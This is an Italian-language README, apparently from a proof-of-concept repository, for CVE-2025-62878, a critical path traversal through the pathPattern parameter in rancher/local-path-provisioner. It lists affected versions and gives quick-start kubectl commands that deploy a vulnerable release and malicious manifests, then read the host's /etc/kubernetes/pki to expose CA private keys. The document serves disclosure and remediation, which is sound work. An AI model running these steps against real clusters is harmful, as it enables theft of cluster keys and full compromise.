CVE-2025-62878: Path Traversal del Local Path Provisioner
Panoramica
| Elemento | Valore |
|---|
| ID CVE | CVE-2025-62878 |
| ID GHSA | GHSA-jr3w-9vfr-c746 |
| Gravità | Critico (CVSS 10.0) |
| CWE | CWE-23 (Relative Path Traversal) |
| Componente interessato | rancher/local-path-provisioner |
| Versioni interessate | v0.0.27 ~ v0.0.32 |
| Versioni corrette | v0.0.33+ |
Descrizione della vulnerabilità
Esiste una vulnerabilità di path traversal nel parametro pathPattern di StorageClass. Un utente malintenzionato può manipolare pathPattern utilizzando elementi di percorso relativi (es. ../) per creare PersistentVolumes che puntano a posizioni arbitrarie sul nodo host, bypassando la restrizione della directory di base configurata.
Ciò consente agli attaccanti di:
- Accedere a file sensibili dell'host (es.
/etc/kubernetes/pki/)
- Sovrascrivere file di sistema critici
- Ottenere il compromesso completo del cluster rubando le chiavi private di Kubernetes CA
Versioni interessate (Verificate)
Nota: L'avviso ufficiale di GitHub indica che "< 0.0.34" è interessato, ma i nostri test confermano:
- v0.0.33 è già corretto
- v0.0.26 e precedenti non sono interessati (la funzionalità pathPattern non esiste)
- Intervallo effettivamente interessato: v0.0.27 <= versione <= v0.0.32
Cronologia
| Evento | Data |
|---|
| Introduzione funzionalità pathPattern | 2024-05-26 (commit af85381) |
| Prima versione vulnerabile (v0.0.27) |
Riproduzione
Vedi la directory exploit/ per i passaggi di riproduzione dettagliati e gli script.
Avvio rapido
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Rimedio
Aggiorna a v0.0.33 o successiva:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml
Riferimenti